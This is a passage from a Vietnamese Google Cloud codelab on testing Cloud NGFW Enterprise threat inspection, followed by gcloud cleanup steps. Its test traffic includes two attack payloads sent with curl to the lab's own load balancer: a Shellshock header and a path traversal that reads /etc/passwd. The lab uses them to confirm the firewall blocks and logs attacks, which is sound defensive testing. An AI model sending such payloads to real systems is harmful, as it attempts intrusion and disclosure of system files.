Bạn có thể xác minh các gói bị chặn trên Tường lửa trên đám mây bằng bộ lọc Trình khám phá nhật ký dưới đây (hữu ích cho mục đích khắc phục sự cố):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Tiếp tục kiểm tra lưu lượng truy cập Internet (không bắt buộc) hoặc đóng phiên SSH và chuyển sang chương tiếp theo để thực hiện các bước dọn dẹp.

[Không bắt buộc] Kiểm tra lưu lượng truy cập Internet

Như đã xác minh trong phần trước, các luồng được kiểm tra cho đến nay là lưu lượng truy cập nội bộ/VPC (Đông-Tây) và lưu lượng truy cập đến từ Internet (vào Bắc-Nam). Bạn cũng có thể định cấu hình Cloud NGFW Enterprise để kiểm tra tất cả lưu lượng truy cập Internet (chiều ra từ Bắc-Nam) bằng cách tạo một quy tắc vào ra mới sử dụng Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Chuyển về máy ảo máy khách và gửi lại các cuộc tấn công có mức độ nghiêm trọng cao đến IP máy chủ bên ngoài:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Kết quả đầu ra dự kiến:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Hãy chuyển sang thẻ Mối đe doạ trên Cloud Console để xác minh nhật ký (có thể bạn sẽ phải làm mới vài lần). Các cuộc tấn công lẽ ra phải được xác định và ghi lại, nhưng hiện tại IP nguồn là IP nội bộ vì một quy tắc thoát đang được kích hoạt trước:

36f8edf264dcddcd.png.

Đóng phiên SSH và chuyển sang phần tiếp theo để biết các bước dọn dẹp.

8. Các bước dọn dẹp

Dọn dẹp các thành phần dành cho doanh nghiệp của Cloud NGFW

Liệt kê các liên kết Cloud NGFW Enterprise hiện có:

gcloud network-security firewall-endpoint-associations list

Xoá mối liên kết với Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Liệt kê các điểm cuối Cloud NGFW Enterprise hiện có:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá điểm cuối Cloud NGFW Enterprise. Quá trình này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Xác nhận rằng Cloud NGFW Enterprise đã bị xoá bằng cách chạy lệnh bên dưới:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá Nhóm Hồ sơ bảo mật và Hồ sơ Ngăn chặn mối đe doạ:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Dọn dẹp chế độ thiết lập cơ sở

Tiếp tục thực hiện bước tiếp theo nếu bạn muốn xoá tài nguyên cơ sở.

Xác định các biến môi trường nếu cần. Trên Cloud Shell, hãy xoá các thành phần của Trình cân bằng tải mạng:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Xoá thực thể:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers đã thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị Thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng tường lửa trên đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá các địa chỉ IP đã đặt trước:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Kiểm tra đám mây NGFW Enterprise cho Đông-Tây và Bắc-Nam.